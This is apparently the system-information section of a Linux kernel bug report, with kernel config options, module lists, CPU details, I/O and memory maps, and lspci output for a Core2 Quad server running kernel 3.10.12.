CONFIG_ASYNC_XOR=m CONFIG_ASYNC_PQ=m CONFIG_ASYNC_RAID6_RECOV=m CONFIG_CRYPTO=y # # Crypto core or helper # # CONFIG_CRYPTO_FIPS is not set CONFIG_CRYPTO_ALGAPI=y CONFIG_CRYPTO_ALGAPI2=y CONFIG_CRYPTO_AEAD=m CONFIG_CRYPTO_AEAD2=y CONFIG_CRYPTO_BLKCIPHER=m CONFIG_CRYPTO_BLKCIPHER2=y CONFIG_CRYPTO_HASH=m CONFIG_CRYPTO_HASH2=y CONFIG_CRYPTO_RNG=m CONFIG_CRYPTO_RNG2=y CONFIG_CRYPTO_PCOMP=m CONFIG_CRYPTO_PCOMP2=y CONFIG_CRYPTO_MANAGER=y CONFIG_CRYPTO_MANAGER2=y CONFIG_CRYPTO_USER=m # CONFIG_CRYPTO_MANAGER_DISABLE_TESTS is not set CONFIG_CRYPTO_GF128MUL=m CONFIG_CRYPTO_NULL=m CONFIG_CRYPTO_PCRYPT=m CONFIG_CRYPTO_WORKQUEUE=y CONFIG_CRYPTO_CRYPTD=m CONFIG_CRYPTO_AUTHENC=m CONFIG_CRYPTO_TEST=m CONFIG_CRYPTO_ABLK_HELPER_X86=m CONFIG_CRYPTO_GLUE_HELPER_X86=m # # Authenticated Encryption with Associated Data # CONFIG_CRYPTO_CCM=m CONFIG_CRYPTO_GCM=m CONFIG_CRYPTO_SEQIV=m # # Block modes # CONFIG_CRYPTO_CBC=m CONFIG_CRYPTO_CTR=m CONFIG_CRYPTO_CTS=m CONFIG_CRYPTO_ECB=m CONFIG_CRYPTO_LRW=m CONFIG_CRYPTO_PCBC=m CONFIG_CRYPTO_XTS=m # # Hash modes # # CONFIG_CRYPTO_CMAC is not set CONFIG_CRYPTO_HMAC=m CONFIG_CRYPTO_XCBC=m CONFIG_CRYPTO_VMAC=m # # Digest # CONFIG_CRYPTO_CRC32C=m CONFIG_CRYPTO_CRC32C_INTEL=m # CONFIG_CRYPTO_CRC32 is not set # CONFIG_CRYPTO_CRC32_PCLMUL is not set CONFIG_CRYPTO_GHASH=m CONFIG_CRYPTO_MD4=m CONFIG_CRYPTO_MD5=m CONFIG_CRYPTO_MICHAEL_MIC=m CONFIG_CRYPTO_RMD128=m CONFIG_CRYPTO_RMD160=m CONFIG_CRYPTO_RMD256=m CONFIG_CRYPTO_RMD320=m CONFIG_CRYPTO_SHA1=m CONFIG_CRYPTO_SHA1_SSSE3=m # CONFIG_CRYPTO_SHA256_SSSE3 is not set # CONFIG_CRYPTO_SHA512_SSSE3 is not set CONFIG_CRYPTO_SHA256=m CONFIG_CRYPTO_SHA512=m CONFIG_CRYPTO_TGR192=m CONFIG_CRYPTO_WP512=m # CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set # # Ciphers # CONFIG_CRYPTO_AES=y CONFIG_CRYPTO_AES_X86_64=m CONFIG_CRYPTO_AES_NI_INTEL=m CONFIG_CRYPTO_ANUBIS=m CONFIG_CRYPTO_ARC4=m CONFIG_CRYPTO_BLOWFISH=m CONFIG_CRYPTO_BLOWFISH_COMMON=m CONFIG_CRYPTO_BLOWFISH_X86_64=m CONFIG_CRYPTO_CAMELLIA=m CONFIG_CRYPTO_CAMELLIA_X86_64=m CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=m # CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set CONFIG_CRYPTO_CAST_COMMON=m CONFIG_CRYPTO_CAST5=m # CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set CONFIG_CRYPTO_CAST6=m # CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set CONFIG_CRYPTO_DES=m CONFIG_CRYPTO_FCRYPT=m CONFIG_CRYPTO_KHAZAD=m CONFIG_CRYPTO_SALSA20=m CONFIG_CRYPTO_SALSA20_X86_64=m CONFIG_CRYPTO_SEED=m CONFIG_CRYPTO_SERPENT=m CONFIG_CRYPTO_SERPENT_SSE2_X86_64=m CONFIG_CRYPTO_SERPENT_AVX_X86_64=m # CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set CONFIG_CRYPTO_TEA=m CONFIG_CRYPTO_TWOFISH=m CONFIG_CRYPTO_TWOFISH_COMMON=m CONFIG_CRYPTO_TWOFISH_X86_64=m CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=m CONFIG_CRYPTO_TWOFISH_AVX_X86_64=m # # Compression # CONFIG_CRYPTO_DEFLATE=m CONFIG_CRYPTO_ZLIB=m CONFIG_CRYPTO_LZO=m # # Random Number Generation # CONFIG_CRYPTO_ANSI_CPRNG=m # CONFIG_CRYPTO_USER_API_HASH is not set # CONFIG_CRYPTO_USER_API_SKCIPHER is not set # CONFIG_CRYPTO_HW is not set # CONFIG_ASYMMETRIC_KEY_TYPE is not set CONFIG_HAVE_KVM=y CONFIG_HAVE_KVM_IRQCHIP=y CONFIG_HAVE_KVM_IRQ_ROUTING=y CONFIG_HAVE_KVM_EVENTFD=y CONFIG_KVM_APIC_ARCHITECTURE=y CONFIG_KVM_MMIO=y CONFIG_KVM_ASYNC_PF=y CONFIG_HAVE_KVM_MSI=y CONFIG_HAVE_KVM_CPU_RELAX_INTERCEPT=y CONFIG_VIRTUALIZATION=y CONFIG_KVM=m CONFIG_KVM_INTEL=m CONFIG_KVM_AMD=m # CONFIG_BINARY_PRINTF is not set # # Library routines # CONFIG_RAID6_PQ=m CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_FIND_FIRST_BIT=y CONFIG_GENERIC_PCI_IOMAP=y CONFIG_GENERIC_IOMAP=y CONFIG_GENERIC_IO=y CONFIG_CRC_CCITT=m CONFIG_CRC16=m # CONFIG_CRC_T10DIF is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set CONFIG_CRC32_SLICEBY8=y # CONFIG_CRC32_SLICEBY4 is not set # CONFIG_CRC32_SARWATE is not set # CONFIG_CRC32_BIT is not set # CONFIG_CRC7 is not set CONFIG_LIBCRC32C=m # CONFIG_CRC8 is not set CONFIG_ZLIB_INFLATE=y CONFIG_ZLIB_DEFLATE=m CONFIG_LZO_COMPRESS=m CONFIG_LZO_DECOMPRESS=y CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y CONFIG_XZ_DEC_POWERPC=y CONFIG_XZ_DEC_IA64=y CONFIG_XZ_DEC_ARM=y CONFIG_XZ_DEC_ARMTHUMB=y CONFIG_XZ_DEC_SPARC=y CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_GZIP=y CONFIG_DECOMPRESS_BZIP2=y CONFIG_DECOMPRESS_LZMA=y CONFIG_DECOMPRESS_XZ=y CONFIG_DECOMPRESS_LZO=y CONFIG_TEXTSEARCH=y CONFIG_TEXTSEARCH_KMP=m CONFIG_TEXTSEARCH_BM=m CONFIG_TEXTSEARCH_FSM=m CONFIG_HAS_IOMEM=y CONFIG_HAS_IOPORT=y CONFIG_HAS_DMA=y CONFIG_CHECK_SIGNATURE=y CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_NLATTR=y CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y CONFIG_LRU_CACHE=m # CONFIG_AVERAGE is not set # CONFIG_CORDIC is not set # CONFIG_DDR is not set CONFIG_OID_REGISTRY=m REPORTING-BUGS 8.1: Software (add the output of the ver_linux script here) Linux server 3.10.12 #1 SMP Mon Sep 16 12:57:50 CEST 2013 x86_64 Intel(R) Core(TM)2 Quad CPU @ 2.40GHz GenuineIntel GNU/Linux Gnu C 4.7.3 Gnu make 3.82 binutils 2.23.2 util-linux 2.22.2 mount debug module-init-tools 13 e2fsprogs 1.42.7 xfsprogs 3.1.10 Linux C Library 2.17 Dynamic linker (ldd) 2.17 Procps 3.3.6 Net-tools 1.60_p20120127084908 Kbd 1.15.3wip Sh-utils 8.20 Modules Loaded netconsole configfs nfsd auth_rpcgss oid_registry nfs_acl lockd ipv6 tun it87 hwmon_vid sunrpc squashfs loop fuse raid1 coretemp kvm_intel kvm evdev uhci_hcd acpi_cpufreq i2c_i801 i2c_core mperf ehci_pci ehci_hcd usbcore processor usb_common thermal_sys button lpc_ich mfd_core hwmon xts gf128mul r8169 mii ahci libahci xfs crc32c libcrc32c libata sd_mod scsi_mod raid10 raid456 async_memcpy async_pq async_xor xor async_raid6_recov async_tx raid6_pq md_mod dm_crypt cbc aes_x86_64 pcrypt REPORTING-BUGS 8.2: Processor information (from /proc/cpuinfo): processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 15 model name : Intel(R) Core(TM)2 Quad CPU @ 2.40GHz stepping : 7 microcode : 0x68 cpu MHz : 2400.000 cache size : 4096 KB physical id : 0 siblings : 4 core id : 0 cpu cores : 4 apicid : 0 initial apicid : 0 fpu : yes fpu_exception : yes cpuid level : 10 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dtherm tpr_shadow bogomips : 4799.72 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 48 bits virtual power management: processor : 1 vendor_id : GenuineIntel cpu family : 6 model : 15 model name : Intel(R) Core(TM)2 Quad CPU @ 2.40GHz stepping : 7 microcode : 0x68 cpu MHz : 2400.000 cache size : 4096 KB physical id : 0 siblings : 4 core id : 3 cpu cores : 4 apicid : 3 initial apicid : 3 fpu : yes fpu_exception : yes cpuid level : 10 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dtherm tpr_shadow bogomips : 4799.72 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 48 bits virtual power management: processor : 2 vendor_id : GenuineIntel cpu family : 6 model : 15 model name : Intel(R) Core(TM)2 Quad CPU @ 2.40GHz stepping : 7 microcode : 0x68 cpu MHz : 2400.000 cache size : 4096 KB physical id : 0 siblings : 4 core id : 2 cpu cores : 4 apicid : 2 initial apicid : 2 fpu : yes fpu_exception : yes cpuid level : 10 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dtherm tpr_shadow bogomips : 4799.72 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 48 bits virtual power management: processor : 3 vendor_id : GenuineIntel cpu family : 6 model : 15 model name : Intel(R) Core(TM)2 Quad CPU @ 2.40GHz stepping : 7 microcode : 0x68 cpu MHz : 2400.000 cache size : 4096 KB physical id : 0 siblings : 4 core id : 1 cpu cores : 4 apicid : 1 initial apicid : 1 fpu : yes fpu_exception : yes cpuid level : 10 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dtherm tpr_shadow bogomips : 4799.72 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 48 bits virtual power management: REPORTING-BUGS 8.3: Module information (from /proc/modules): netconsole 6105 0 - Live 0xffffffffa07b0000 configfs 19029 2 netconsole, Live 0xffffffffa07a6000 nfsd 190447 13 - Live 0xffffffffa0768000 auth_rpcgss 34580 1 nfsd, Live 0xffffffffa0759000 oid_registry 1963 1 auth_rpcgss, Live 0xffffffffa0755000 nfs_acl 1911 1 nfsd, Live 0xffffffffa0751000 lockd 52609 1 nfsd, Live 0xffffffffa073c000 ipv6 256830 74 - Live 0xffffffffa06e9000 tun 16100 1 - Live 0xffffffffa06e1000 it87 22822 0 - Live 0xffffffffa06d5000 hwmon_vid 1964 1 it87, Live 0xffffffffa06d1000 sunrpc 149164 23 nfsd,auth_rpcgss,nfs_acl,lockd, Live 0xffffffffa0699000 squashfs 23286 1 - Live 0xffffffffa068f000 loop 14893 2 - Live 0xffffffffa0686000 fuse 62883 0 - Live 0xffffffffa066e000 raid1 23503 1 - Live 0xffffffffa0664000 coretemp 5430 0 - Live 0xffffffffa0650000 kvm_intel 116078 0 - Live 0xffffffffa05bc000 kvm 212134 1 kvm_intel, Live 0xffffffffa04a4000 evdev 8237 0 - Live 0xffffffffa049d000 uhci_hcd 17541 0 - Live 0xffffffffa046d000 acpi_cpufreq 5971 0 - Live 0xffffffffa0461000 i2c_i801 8359 0 - Live 0xffffffffa045a000 i2c_core 16431 1 i2c_i801, Live 0xffffffffa044c000 mperf 1043 1 acpi_cpufreq, Live 0xffffffffa0448000 ehci_pci 3032 0 - Live 0xffffffffa0439000 ehci_hcd 28622 1 ehci_pci, Live 0xffffffffa03ec000 usbcore 114462 3 uhci_hcd,ehci_pci,ehci_hcd, Live 0xffffffffa029c000 processor 26295 1 acpi_cpufreq, Live 0xffffffffa025b000 usb_common 1456 1 usbcore, Live 0xffffffffa023b000 thermal_sys 16544 1 processor, Live 0xffffffffa021f000 button 4325 0 - Live 0xffffffffa0209000 lpc_ich 12493 0 - Live 0xffffffffa0200000 mfd_core 2449 1 lpc_ich, Live 0xffffffffa01fc000 hwmon 1209 3 it87,coretemp,thermal_sys, Live 0xffffffffa01ec000 xts 2810 2 - Live 0xffffffffa01e8000 gf128mul 5439 1 xts, Live 0xffffffffa01e3000 r8169 46315 0 - Live 0xffffffffa01b2000 mii 3323 1 r8169, Live 0xffffffffa01ae000 ahci 21466 18 - Live 0xffffffffa01a2000 libahci 17494 1 ahci, Live 0xffffffffa0198000 xfs 551617 3 - Live 0xffffffffa00f7000 crc32c 1496 1 - Live 0xffffffffa00f3000 libcrc32c 906 1 xfs, Live 0xffffffffa00ef000 libata 135748 2 ahci,libahci, Live 0xffffffffa00bc000 sd_mod 26438 24 - Live 0xffffffffa00b0000 scsi_mod 114146 2 libata,sd_mod, Live 0xffffffffa0086000 raid10 34865 1 - Live 0xffffffffa0079000 raid456 48004 1 - Live 0xffffffffa0068000 async_memcpy 822 1 raid456, Live 0xffffffffa0064000 async_pq 1932 1 raid456, Live 0xffffffffa0060000 async_xor 1257 2 raid456,async_pq, Live 0xffffffffa005c000 xor 9881 1 async_xor, Live 0xffffffffa0056000 async_raid6_recov 1169 1 raid456, Live 0xffffffffa0052000 async_tx 1233 5 raid456,async_memcpy,async_pq,async_xor,async_raid6_recov, Live 0xffffffffa004e000 raid6_pq 89031 2 async_pq,async_raid6_recov, Live 0xffffffffa0034000 md_mod 88068 5 raid1,raid10,raid456, Live 0xffffffffa0015000 dm_crypt 12857 2 - Live 0xffffffffa000d000 cbc 2432 0 - Live 0xffffffffa0009000 aes_x86_64 7223 4 - Live 0xffffffffa0004000 pcrypt 4018 0 - Live 0xffffffffa0000000 REPORTING-BUGS 8.4: Loaded driver and hardware information (/proc/ioports, /proc/iomem) 0000-0cf7 : PCI Bus 0000:00 0000-001f : dma1 0020-0021 : pic1 0040-0043 : timer0 0050-0053 : timer1 0060-0060 : keyboard 0064-0064 : keyboard 0080-008f : dma page reg 00a0-00a1 : pic2 00c0-00df : dma2 00f0-00ff : fpu 0290-029f : pnp 00:00 0290-0294 : pnp 00:00 0295-0296 : it87 0295-0296 : it87 03c0-03df : vga+ 03f8-03ff : serial 0400-047f : 0000:00:1f.0 0400-0403 : ACPI PM1a_EVT_BLK 0404-0405 : ACPI PM1a_CNT_BLK 0408-040b : ACPI PM_TMR 0410-0415 : ACPI CPU throttle 0420-042f : ACPI GPE0_BLK 0430-0433 : iTCO_wdt 0460-047f : iTCO_wdt 0480-04bf : gpio_ich 0480-04bf : 0000:00:1f.0 04d0-04d1 : pnp 00:00 0500-051f : 0000:00:1f.3 0500-051f : i801_smbus 0800-087f : pnp 00:00 0880-088f : pnp 00:00 0cf8-0cff : PCI conf1 0d00-ffff : PCI Bus 0000:00 a000-afff : PCI Bus 0000:01 b000-bfff : PCI Bus 0000:02 b000-b007 : 0000:02:00.1 b100-b103 : 0000:02:00.1 b200-b207 : 0000:02:00.1 b300-b303 : 0000:02:00.1 b400-b40f : 0000:02:00.1 c000-cfff : PCI Bus 0000:03 c000-c0ff : 0000:03:00.0 c000-c0ff : r8169 d000-dfff : PCI Bus 0000:04 d000-d0ff : 0000:04:00.0 e000-e01f : 0000:00:1a.0 e000-e01f : uhci_hcd e100-e11f : 0000:00:1a.1 e100-e11f : uhci_hcd e200-e21f : 0000:00:1d.0 e200-e21f : uhci_hcd e300-e31f : 0000:00:1d.1 e300-e31f : uhci_hcd e400-e41f : 0000:00:1d.2 e400-e41f : uhci_hcd e500-e51f : 0000:00:1a.2 e500-e51f : uhci_hcd e600-e607 : 0000:00:1f.2 e600-e607 : ahci e700-e703 : 0000:00:1f.2 e700-e703 : ahci e800-e807 : 0000:00:1f.2 e800-e807 : ahci e900-e903 : 0000:00:1f.2 e900-e903 : ahci ea00-ea1f : 0000:00:1f.2 ea00-ea1f : ahci 00000100-00000fff : reserved 00001000-0009dbff : System RAM 0009dc00-0009f7ff : RAM buffer 0009f800-0009ffff : reserved 000a0000-000bffff : PCI Bus 0000:00 000c0000-000dffff : PCI Bus 0000:00 000c0000-000c7fff : Video ROM 000c8000-000c8fff : Adapter ROM 000f0000-000fffff : reserved 000f0000-000fffff : System ROM 00100000-f3edffff : System RAM f3ee0000-f3ee2fff : ACPI Non-volatile Storage f3ee3000-f3eeffff : ACPI Tables f3ef0000-f3efffff : reserved f3f00000-febfffff : PCI Bus 0000:00 f4000000-f7ffffff : PCI MMCONFIG 0000 [bus 00-3f] f4000000-f7ffffff : reserved f4000000-f7ffffff : pnp 00:0a f8000000-f9ffffff : PCI Bus 0000:03 f9000000-f9000fff : 0000:03:00.0 f9000000-f9000fff : r8169 fa000000-fbffffff : PCI Bus 0000:04 fa000000-faffffff : 0000:04:00.0 fc000000-fc0fffff : PCI Bus 0000:02 fc000000-fc001fff : 0000:02:00.0 fc000000-fc001fff : ahci fc100000-fc1003ff : 0000:00:1d.7 fc100000-fc1003ff : ehci_hcd fc101000-fc1013ff : 0000:00:1a.7 fc101000-fc1013ff : ehci_hcd fc102000-fc1027ff : 0000:00:1f.2 fc102000-fc1027ff : ahci fc103000-fc1030ff : 0000:00:1f.3 fc200000-fc3fffff : PCI Bus 0000:01 fc400000-fc5fffff : PCI Bus 0000:01 fc600000-fc7fffff : PCI Bus 0000:02 fc800000-fcafffff : PCI Bus 0000:03 fc800000-fc80ffff : 0000:03:00.0 fd000000-fdffffff : PCI Bus 0000:04 fd000000-fdffffff : 0000:04:00.0 fec00000-ffffffff : reserved fec00000-fec003ff : IOAPIC 0 fed00000-fed003ff : HPET 0 fed10000-fed1dfff : pnp 00:0b fed1f410-fed1f414 : iTCO_wdt fed20000-fed8ffff : pnp 00:0b fee00000-fee00fff : Local APIC fee00000-fee00fff : pnp 00:0b ffb00000-ffb7ffff : pnp 00:0b fff00000-ffffffff : pnp 00:0b 100000000-10bffffff : System RAM 10b000000-10b26cc26 : Kernel code 10b26cc27-10b3bd47f : Kernel data 10b46f000-10b4fdfff : Kernel bss REPORTING-BUGS 8.5: PCI information ('lspci -vvv' as root) 00:00.0 Host bridge: Intel Corporation 82G33/G31/P35/P31 Express DRAM Controller (rev 02) Subsystem: Giga-byte Technology Device 5000 Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 00:1a.0 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #4 (rev 02) (prog-if 00 [UHCI]) Subsystem: Giga-byte Technology Device 5004 Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- Reset- FastB2B- PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- Capabilities: [40] Express (v1) Root Port (Slot+), MSI 00 DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us ExtTag- RBE+ FLReset- DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- MaxPayload 128 bytes, MaxReadReq 128 bytes DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend- LnkCap: Port #1, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 <1us, L1 <4us ClockPM- Surprise- LLActRep+ BwNot- LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk- ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- LnkSta: Speed 2.5GT/s, Width x0, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ Slot #16, PowerLimit 10.000W; Interlock- NoCompl- SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet- CmdCplt- HPIrq- LinkChg- Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet- Interlock- Changed: MRL- PresDet- LinkState- RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- RootCap: CRSVisible- RootSta: PME ReqID 0000, PMEStatus- PMEPending- Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- Address: fee0f00c Data: 41a1 Capabilities: [90] Subsystem: Giga-byte Technology Device 5001 Capabilities: [a0] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- Capabilities: [100 v1] Virtual Channel Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 Arb: Fixed+ WRR32- WRR64- WRR128- Ctrl: ArbSelect=Fixed Status: InProgress- VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- Arb: Fixed+ WRR32- WRR64- WRR128- TWRR128- WRR256- Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=01 Status: NegoPending- InProgress- Capabilities: [180 v1] Root Complex Link Desc: PortNumber=01 ComponentID=02 EltType=Config Link0: Desc: TargetPort=00 TargetComponent=02 AssocRCRB- LinkType=MemMapped LinkValid+ Addr: 00000000fed1c000 Kernel driver in use: pcieport 00:1c.4 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 5 (rev 02) (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B- PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- Capabilities: [40] Express (v1) Root Port (Slot+), MSI 00 DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us ExtTag- RBE+ FLReset- DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- MaxPayload 128 bytes, MaxReadReq 128 bytes DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend- LnkCap: Port #5, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 <256ns, L1 <4us ClockPM- Surprise- LLActRep+ BwNot- LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk+ ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive+ BWMgmt- ABWMgmt- SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ Slot #20, PowerLimit 10.000W; Interlock- NoCompl- SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet- CmdCplt- HPIrq- LinkChg- Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet+ Interlock- Changed: MRL- PresDet+ LinkState+ RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- RootCap: CRSVisible- RootSta: PME ReqID 0000, PMEStatus- PMEPending- Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- Address: fee0f00c Data: 41b1 Capabilities: [90] Subsystem: Giga-byte Technology Device 5001 Capabilities: [a0] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- Capabilities: [100 v1] Virtual Channel Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 Arb: Fixed+ WRR32- WRR64- WRR128- Ctrl: ArbSelect=Fixed Status: InProgress- VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- Arb: Fixed+ WRR32- WRR64- WRR128- TWRR128- WRR256- Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=01 Status: NegoPending- InProgress- Capabilities: [180 v1] Root Complex Link Desc: PortNumber=05 ComponentID=02 EltType=Config Link0: Desc: TargetPort=00 TargetComponent=02 AssocRCRB- LinkType=MemMapped LinkValid+ Addr: 00000000fed1c000 Kernel driver in use: pcieport 00:1c.5 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 6 (rev 02) (prog-if 00 [Normal decode]) Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B- PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- Capabilities: [40] Express (v1) Root Port (Slot+), MSI 00 DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us ExtTag- RBE+ FLReset- DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- MaxPayload 128 bytes, MaxReadReq 128 bytes DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend- LnkCap: Port #6, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 <256ns, L1 <4us ClockPM- Surprise- LLActRep+ BwNot- LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk+ ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive+ BWMgmt- ABWMgmt- SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ Slot #21, PowerLimit 10.000W; Interlock- NoCompl- SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet- CmdCplt- HPIrq- LinkChg- Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet+ Interlock- Changed: MRL- PresDet+ LinkState+ RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- RootCap: CRSVisible- RootSta: PME ReqID 0000, PMEStatus- PMEPending- Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- Address: fee0f00c Data: 41c1 Capabilities: [90] Subsystem: Giga-byte Technology Device 5001 Capabilities: [a0] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- Capabilities: [100 v1] Virtual Channel Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 Arb: Fixed+ WRR32- WRR64- WRR128- Ctrl: ArbSelect=Fixed Status: InProgress- VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- Arb: Fixed+ WRR32- WRR64- WRR128- TWRR128- WRR256- Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=01 Status: NegoPending- InProgress- Capabilities: [180 v1] Root Complex Link Desc: PortNumber=06 ComponentID=02 EltType=Config Link0: Desc: TargetPort=00 TargetComponent=02 AssocRCRB- LinkType=MemMapped LinkValid+ Addr: 00000000fed1c000 Kernel driver in use: pcieport 00:1d.0 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #1 (rev 02) (prog-if 00 [UHCI]) Subsystem: Giga-byte Technology Device 5004 Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- 